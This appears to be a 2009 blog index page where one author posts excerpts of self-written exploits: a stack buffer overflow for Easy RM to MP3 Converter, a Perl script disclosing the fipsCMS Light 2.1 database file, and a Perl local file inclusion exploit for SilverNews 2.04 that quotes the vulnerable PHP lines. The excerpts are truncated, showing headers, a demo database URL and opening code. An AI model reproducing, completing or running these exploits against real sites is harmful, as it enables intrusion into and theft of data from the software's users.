Posted by schaba on December 13, 2009
Last night i was testing available exploits for Easy RM to MP3 converter and unfortunatly non of them work for me. so i decide to write my own exploit for that application.I wrote this exploit under windows XP SP3 and tested it.This application suffer from stack based buffer-overflow. # # Exploit for Easy RM to [...]
Posted by schaba on December 6, 2009
I wrote this a long time ago and thought post here.Link to packetstormsecurity #!/usr/bin/perl # # fipsCMS Light 2.1 Arbitrary Database Disclosure Exploit # # Exploit by d3b4g # script:http://fipsasp.com # Demo: http://demo.fipsasp.com/fipsCMS_light/_fipsdb/db.mdb # From Tiny little island of maldivies use LWP::Simple; use LWP::UserAgent; print “\fipsCMS Light 2.1 Arbitrary Database Disclosure Exploit\n”; print “\t****************************************************************\n”; print [...]
Posted by schaba on June 5, 2009
I wrote up this long back and saw it while surfing my folder. Here is link for securityfocus #!/usr/bin/perl -w # SilverNews 2.04 Local File Inclusion Exploit # Script: http://www.silver-scripts.de # Vuln C0de: # require “admin/header.php”; # if (file_exists(‘admin/’.$_GET['section'].”.php”)) # require ‘admin/’.$_GET['section'].’.php’; —>LFI # by d3b4g (Follow me on twitter.www.twitter.com/schaba) # From Tiny Little island [...]